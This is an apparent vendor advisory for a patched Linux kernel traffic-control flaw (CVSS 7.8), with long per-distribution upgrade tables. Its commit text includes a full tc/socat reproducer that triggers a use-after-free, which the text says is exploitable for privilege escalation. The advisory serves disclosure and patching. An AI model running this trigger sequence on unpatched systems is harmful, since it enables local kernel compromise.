In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script
Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr
step3. a class for nesting tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr
step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7. tc class add dev lo classid 3:1 drr
step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config".
Joint work with Lion Ackermann <[email protected]>
CVSS Details
- CVSS 3.1 Base Score: 7.8
- CVSS 3.1 Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Covered by Rapid7
| Product | Vendor Advisory | Solution File | Added | Published |
|---|---|---|---|---|
| Amazon Linux Ami 2 | — | Upgrade kernel-headersUpgrade kernel-livepatch-5.15.179-121.185Upgrade python-perf-debuginfoUpgrade kernel-tools-develUpgrade kernel-develUpgrade kernel-tools-debuginfoUpgrade perf-debuginfoUpgrade kernel-debuginfoUpgrade kernel-debuginfo-common-x86_64Upgrade kernel-livepatch-5.10.235-227.919Upgrade kernelUpgrade python-perfUpgrade bpftool-debuginfoUpgrade kernel-toolsUpgrade bpftoolUpgrade perfUpgrade kernel-debuginfo-common-aarch64 | Apr 2, 2025 | Feb 13, 2025 |
| Amazon_linux_2023 | — | Upgrade kernel-tools-develUpgrade kernel-debuginfo-common-aarch64Upgrade kernel-debuginfo-common-x86_64Upgrade kernel-libbpf-develUpgrade kernelUpgrade kernel-toolsUpgrade bpftoolUpgrade kernel-modules-extra-commonUpgrade kernel-libbpf-staticUpgrade python3-perfUpgrade python3-perf-debuginfoUpgrade kernel-livepatch-6.1.131-143.221Upgrade bpftool-debuginfoUpgrade kernel-modules-extraUpgrade perfUpgrade kernel-develUpgrade kernel-debuginfoUpgrade kernel-libbpf-debuginfoUpgrade kernel-libbpfUpgrade kernel-tools-debuginfoUpgrade perf-debuginfoUpgrade kernel-headers | Apr 2, 2025 | Feb 13, 2025 |
| Debian | — | Upgrade linuxUpgrade linux-6.1 | Mar 17, 2025 | Feb 13, 2025 |
| Dell Powerstore Dsa2025429 | — | Upgrade Dell PowerStoreOS to the latest version | Dec 3, 2025 | Dec 2, 2025 |
| Dell Powerstore Dsa2026039 | — | Upgrade Dell PowerStoreOS to the latest version | Jan 13, 2026 | Jan 6, 2026 |
| Huawei Euleros 2_0_sp10 | — | Upgrade kernel-develUpgrade perfUpgrade kernel-tools-libs-develUpgrade kernel-toolsUpgrade bpftoolUpgrade kernel-headersUpgrade kernelUpgrade kernel-tools-libs | May 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp11 | — | Upgrade kernel-abi-stablelistsUpgrade kernelUpgrade kernel-toolsUpgrade bpftoolUpgrade python3-perfUpgrade kernel-tools-libs | Jun 13, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp12 | — | Upgrade kernel-abi-stablelistsUpgrade python3-perfUpgrade kernelUpgrade kernel-toolsUpgrade kernel-tools-libsUpgrade bpftool | Jun 11, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp13 | — | Upgrade kernel-abi-stablelistsUpgrade bpftoolUpgrade kernel-toolsUpgrade kernelUpgrade kernel-tools-libsUpgrade python3-perf | Jul 1, 2025 | Feb 13, 2025 |
| Huawei Euleros 2_0_sp9 | — | Upgrade kernel-tools-libsUpgrade kernel-toolsUpgrade python3-perfUpgrade kernel | Sep 15, 2025 | May 12, 2025 |
| Redhat_linux | — | No solution exists | Jul 9, 2025 | Feb 13, 2025 |
| Suse | — | Upgrade kernel-trace-baseUpgrade kernel-rt_debug-develUpgrade kernel-azureUpgrade kernel-trace-develUpgrade kernel-ec2-baseUpgrade dtb-hisiliconUpgrade kernel-obs-buildUpgrade kernel-preempt-develUpgrade dtb-renesasUpgrade dtb-allwinnerUpgrade cluster-md-kmp-64kbUpgrade ocfs2-kmp-azureUpgrade dtb-alteraUpgrade kernel-rt-develUpgrade reiserfs-kmp-rtUpgrade kernel-defaultUpgrade kernel-default-livepatchUpgrade kernel-default-livepatch-develUpgrade ocfs2-kmp-defaultUpgrade gfs2-kmp-azureUpgrade gfs2-kmp-defaultUpgrade kernel-debugUpgrade reiserfs-kmp-defaultUpgrade kernel-develUpgrade dtb-amdUpgrade kernel-default-baseUpgrade kernel-source-vanillaUpgrade kernel-devel-rtUpgrade cluster-md-kmp-rtUpgrade dtb-caviumUpgrade dlm-kmp-rtUpgrade kernel-xen-baseUpgrade dtb-mediatekUpgrade kernel-azure-optionalUpgrade dtb-nvidiaUpgrade kernel-default-optionalUpgrade dtb-xilinxUpgrade kernel-64kb-develUpgrade kselftests-kmp-azureUpgrade kernel-debug-vdsoUpgrade dlm-kmp-64kbUpgrade kernel-azure-extraUpgrade kernel-64kb-extraUpgrade kselftests-kmp-rtUpgrade kernel-default-vdsoUpgrade dtb-sprdUpgrade kernel-debug-develUpgrade kernel-64kb-optionalUpgrade kselftests-kmp-64kbUpgrade dtb-appleUpgrade kernel-rt-extraUpgrade kernel-xen-develUpgrade ocfs2-kmp-64kbUpgrade reiserfs-kmp-azureUpgrade dtb-amlogicUpgrade kernel-macrosUpgrade dtb-apmUpgrade dtb-socionextUpgrade kernel-sourceUpgrade kernel-rt_debugUpgrade kernel-rt-vdsoUpgrade kernel-kvmsmall-develUpgrade kernel-kvmsmallUpgrade kernel-ec2Upgrade kernel-xenUpgrade kernel-docsUpgrade ocfs2-kmp-rtUpgrade kernel-default-develUpgrade kernel-syms-azureUpgrade kernel-docs-htmlUpgrade dtb-lgUpgrade cluster-md-kmp-defaultUpgrade dtb-exynosUpgrade dlm-kmp-azureUpgrade kernel-azure-vdsoUpgrade kernel-azure-develUpgrade gfs2-kmp-64kbUpgrade dtb-rockchipUpgrade kernel-default-extraUpgrade kernel-default-base-rebuildUpgrade dtb-qcomUpgrade kernel-source-azureUpgrade kernel-ec2-develUpgrade kernel-obs-qaUpgrade dtb-freescaleUpgrade kernel-rt-livepatch-develUpgrade kernel-64kbUpgrade kselftests-kmp-defaultUpgrade dtb-amazonUpgrade kernel-rt-optionalUpgrade kernel-source-rtUpgrade kernel-rt_debug-vdsoUpgrade dtb-broadcomUpgrade kernel-devel-azureUpgrade kernel-default-manUpgrade gfs2-kmp-rtUpgrade kernel-symsUpgrade kernel-rtUpgrade kernel-preemptUpgrade kernel-syms-rtUpgrade cluster-md-kmp-azureUpgrade kernel-kvmsmall-vdsoUpgrade kernel-traceUpgrade dtb-armUpgrade dtb-marvellUpgrade reiserfs-kmp-64kbUpgrade dlm-kmp-defaultUpgrade kernel-zfcpdump | Mar 12, 2025 | Feb 13, 2025 |
| Ubuntu | — | Upgrade linux-image-6.8.0-58-generic-64kUpgrade linux-image-nvidia-lowlatency-64kUpgrade linux-image-nvidia-tegra-igxUpgrade linux-image-nvidia-64kUpgrade linux-image-nvidia-tegra-igx-rtUpgrade linux-image-ibm-lts-20.04Upgrade linux-image-kvmUpgrade linux-image-lowlatency-hwe-24.04Upgrade linux-image-oem-24.04aUpgrade linux-image-6.11.0-1012-lowlatencyUpgrade linux-image-6.8.0-1027-azure-fdeUpgrade linux-image-5.4.0-1147-gcp-fipsUpgrade linux-image-generic-hwe-16.04Upgrade linux-image-4.4.0-1143-kvmUpgrade linux-image-4.4.0-267-lowlatencyUpgrade linux-image-5.15.0-1023-nvidia-tegra-igxUpgrade linux-image-oracle-64kUpgrade linux-image-azure-lts-24.04Upgrade linux-image-raspi-realtimeUpgrade linux-image-aws-hweUpgrade linux-image-virtual-hwe-16.04Upgrade linux-image-4.4.0-1180-awsUpgrade linux-image-6.11.0-1013-azureUpgrade linux-image-6.8.0-1023-gkeUpgrade linux-image-5.15.0-1035-nvidia-tegraUpgrade linux-image-4.15.0-1172-gcpUpgrade linux-image-6.11.0-1014-oracleUpgrade linux-image-oracle-64k-lts-24.04Upgrade linux-image-6.8.0-1014-azure-nvidiaUpgrade linux-image-oem-24.04bUpgrade linux-image-raspi2Upgrade linux-image-4.15.0-1141-oracleUpgrade linux-image-raspiUpgrade linux-image-4.15.0-2117-aws-fipsUpgrade linux-image-5.15.0-1074-ibmUpgrade linux-image-awsUpgrade linux-image-5.4.0-1129-raspiUpgrade linux-image-5.15.0-1087-azure-fipsUpgrade linux-image-gcp-lts-24.04Upgrade linux-image-generic-64k-hwe-20.04Upgrade linux-image-azure-fdeUpgrade linux-image-generic-hwe-18.04Upgrade linux-image-azure-fde-lts-24.04Upgrade linux-image-6.8.0-58-lowlatency-64kUpgrade linux-image-oem-22.04bUpgrade linux-image-5.15.0-1035-nvidia-tegra-rtUpgrade linux-image-5.4.0-214-genericUpgrade linux-image-5.15.0-1076-nvidia-lowlatencyUpgrade linux-image-gcpUpgrade linux-image-5.15.0-1079-oracleUpgrade linux-image-6.8.0-58-genericUpgrade linux-image-ibm-classicUpgrade linux-image-aws-lts-22.04Upgrade linux-image-5.15.0-138-lowlatencyUpgrade linux-image-6.11.0-24-genericUpgrade linux-image-generic-hwe-22.04Upgrade linux-image-generic-64k-hwe-24.04Upgrade linux-image-lowlatencyUpgrade linux-image-6.8.0-58-lowlatencyUpgrade linux-image-6.11.0-1014-oracle-64kUpgrade linux-image-5.4.0-1118-fipsUpgrade linux-image-lowlatency-lts-xenialUpgrade linux-image-lowlatency-64k-hwe-20.04Upgrade linux-image-6.8.0-1028-raspiUpgrade linux-image-lowlatency-hwe-20.04Upgrade linux-image-gke-5.15Upgrade linux-image-5.15.0-1081-gcp-fipsUpgrade linux-image-5.15.0-138-generic-lpaeUpgrade linux-image-lowlatency-64k-hwe-24.04Upgrade linux-image-oem-20.04dUpgrade linux-image-azure-nvidiaUpgrade linux-image-6.11.0-1012-awsUpgrade linux-image-5.15.0-1077-intel-iotgUpgrade linux-image-aws-lts-20.04Upgrade linux-image-5.4.0-214-lowlatencyUpgrade linux-image-azureUpgrade linux-image-4.15.0-2080-gcp-fipsUpgrade linux-image-ibm-lts-24.04Upgrade linux-image-6.11.0-1013-gcp-64kUpgrade linux-image-azure-fipsUpgrade linux-image-generic-hwe-20.04Upgrade linux-image-5.15.0-1023-nvidia-tegra-igx-rtUpgrade linux-image-gkeop-6.8Upgrade linux-image-6.8.1-1020-realtimeUpgrade linux-image-gcp-fipsUpgrade linux-image-generic-hwe-24.04Upgrade linux-image-ibmUpgrade linux-image-oem-22.04aUpgrade linux-image-azure-cvmUpgrade linux-image-5.4.0-1149-azureUpgrade linux-image-raspi-nolpaeUpgrade linux-image-5.15.0-138-genericUpgrade linux-image-4.15.0-1134-fipsUpgrade linux-image-4.15.0-1179-awsUpgrade linux-image-aws-lts-24.04Upgrade linux-image-6.8.0-1024-oracle-64kUpgrade linux-image-6.11.0-1011-raspiUpgrade linux-image-nvidia-64k-6.8Upgrade linux-image-gcp-lts-20.04Upgrade linux-image-oracle-lts-18.04Upgrade linux-image-nvidia-lowlatencyUpgrade linux-image-5.15.0-1075-intel-iot-realtimeUpgrade linux-image-5.15.0-1087-azure-fdeUpgrade linux-image-lowlatency-hwe-18.04Upgrade linux-image-intel-iot-realtimeUpgrade linux-image-5.4.0-1147-gcpUpgrade linux-image-oracleUpgrade linux-image-5.15.0-1064-gkeopUpgrade linux-image-5.15.0-138-lowlatency-64kUpgrade linux-image-oem-20.04bUpgrade linux-image-oem-20.04cUpgrade linux-image-6.8.0-1024-oracleUpgrade linux-image-gcp-lts-22.04Upgrade linux-image-virtual-hwe-18.04Upgrade linux-image-virtual-lts-xenialUpgrade linux-image-snapdragon-hwe-18.04Upgrade linux-image-gcp-64kUpgrade linux-image-fipsUpgrade linux-image-oemUpgrade linux-image-5.15.0-1076-nvidiaUpgrade linux-image-aws-fipsUpgrade linux-image-oracle-lts-24.04Upgrade linux-image-5.15.0-138-fipsUpgrade linux-image-generic-64k-hwe-22.04Upgrade linux-image-4.15.0-2096-azure-fipsUpgrade linux-image-nvidia-hwe-22.04Upgrade linux-image-5.4.0-1090-ibmUpgrade linux-image-oem-22.04Upgrade linux-image-6.8.0-1028-gcpUpgrade linux-image-nvidiaUpgrade linux-image-azure-lts-20.04Upgrade linux-image-6.8.0-1027-awsUpgrade linux-image-5.15.0-1082-awsUpgrade linux-image-5.15.0-1087-azureUpgrade linux-image-5.4.0-1149-azure-fipsUpgrade linux-image-5.15.0-138-generic-64kUpgrade linux-image-4.4.0-1142-awsUpgrade linux-image-generic-64kUpgrade linux-image-oem-22.04dUpgrade linux-image-lowlatency-64kUpgrade linux-image-oem-20.04Upgrade linux-image-nvidia-tegra-rtUpgrade linux-image-realtime-hwe-24.04Upgrade linux-image-6.8.0-1026-oemUpgrade linux-image-6.8.0-1026-nvidia-lowlatency-64kUpgrade linux-image-6.8.0-2023-raspi-realtimeUpgrade linux-image-6.8.0-1027-azureUpgrade linux-image-generic-lts-xenialUpgrade linux-image-5.4.0-1062-xilinx-zynqmpUpgrade linux-image-4.4.0-1112-fipsUpgrade linux-image-5.15.0-1079-gkeUpgrade linux-image-5.15.0-1082-aws-fipsUpgrade linux-image-5.15.0-1046-xilinx-zynqmpUpgrade linux-image-4.4.0-267-genericUpgrade linux-image-virtual-hwe-22.04Upgrade linux-image-generic-lpaeUpgrade linux-image-oem-osp1Upgrade linux-image-virtualUpgrade linux-image-intel-iotgUpgrade linux-image-5.4.0-1103-bluefieldUpgrade linux-image-5.4.0-1144-aws-fipsUpgrade linux-image-5.15.0-1082-realtimeUpgrade linux-image-5.4.0-214-generic-lpaeUpgrade linux-image-oracle-lts-20.04Upgrade linux-image-5.15.0-1081-gcpUpgrade linux-image-gcp-64k-lts-24.04Upgrade linux-image-5.4.0-1144-awsUpgrade linux-image-aws-lts-18.04Upgrade linux-image-6.8.0-1028-gcp-64kUpgrade linux-image-virtual-hwe-24.04Upgrade linux-image-generic-lpae-hwe-20.04Upgrade linux-image-6.11.0-1008-realtimeUpgrade linux-image-5.4.0-1131-kvmUpgrade linux-image-6.8.0-1026-nvidia-lowlatencyUpgrade linux-image-5.4.0-1142-oracleUpgrade linux-image-6.11.0-24-generic-64kUpgrade linux-image-intelUpgrade linux-image-xilinx-zynqmpUpgrade linux-image-raspi-hwe-18.04Upgrade linux-image-nvidia-6.8Upgrade linux-image-gkeopUpgrade linux-image-6.11.0-1012-lowlatency-64kUpgrade linux-image-5.15.0-1078-kvmUpgrade linux-image-virtual-hwe-20.04Upgrade linux-image-oracle-lts-22.04Upgrade linux-image-realtimeUpgrade linux-image-azure-lts-22.04Upgrade linux-image-lowlatency-hwe-22.04Upgrade linux-image-6.11.0-1013-azure-fdeUpgrade linux-image-nvidia-64k-hwe-22.04Upgrade linux-image-5.4.0-1049-iotUpgrade linux-image-5.15.0-1076-raspiUpgrade linux-image-gcp-lts-18.04Upgrade linux-image-6.11.0-1013-gcpUpgrade linux-image-6.11.0-1020-oemUpgrade linux-image-lowlatency-hwe-16.04Upgrade linux-image-lowlatency-64k-hwe-22.04Upgrade linux-image-4.15.0-236-genericUpgrade linux-image-oem-24.04Upgrade linux-image-6.8.0-1024-ibmUpgrade linux-image-4.15.0-236-lowlatencyUpgrade linux-image-4.15.0-1162-kvmUpgrade linux-image-azure-lts-18.04Upgrade linux-image-azure-fde-lts-22.04Upgrade linux-image-genericUpgrade linux-image-4.15.0-1187-azureUpgrade linux-image-6.8.0-1010-gkeopUpgrade linux-image-bluefieldUpgrade linux-image-nvidia-tegraUpgrade linux-image-gkeop-5.15Upgrade linux-image-6.8.0-1026-nvidia-64kUpgrade linux-image-6.8.0-1026-nvidiaUpgrade linux-image-oem-22.04cUpgrade linux-image-gke | Apr 10, 2025 | Feb 13, 2025 |
| Vmware Photon_os | — | Use 'tdnf update' to upgrade all packages to the latest version. | Jul 2, 2025 | Feb 13, 2025 |
Prioritise with Active Threat Intelligence
With curated Threat Intelligence, you can see which vulnerabilities truly put you at risk, prioritize what matters most, and act before attackers do.
Explore Intelligence Hub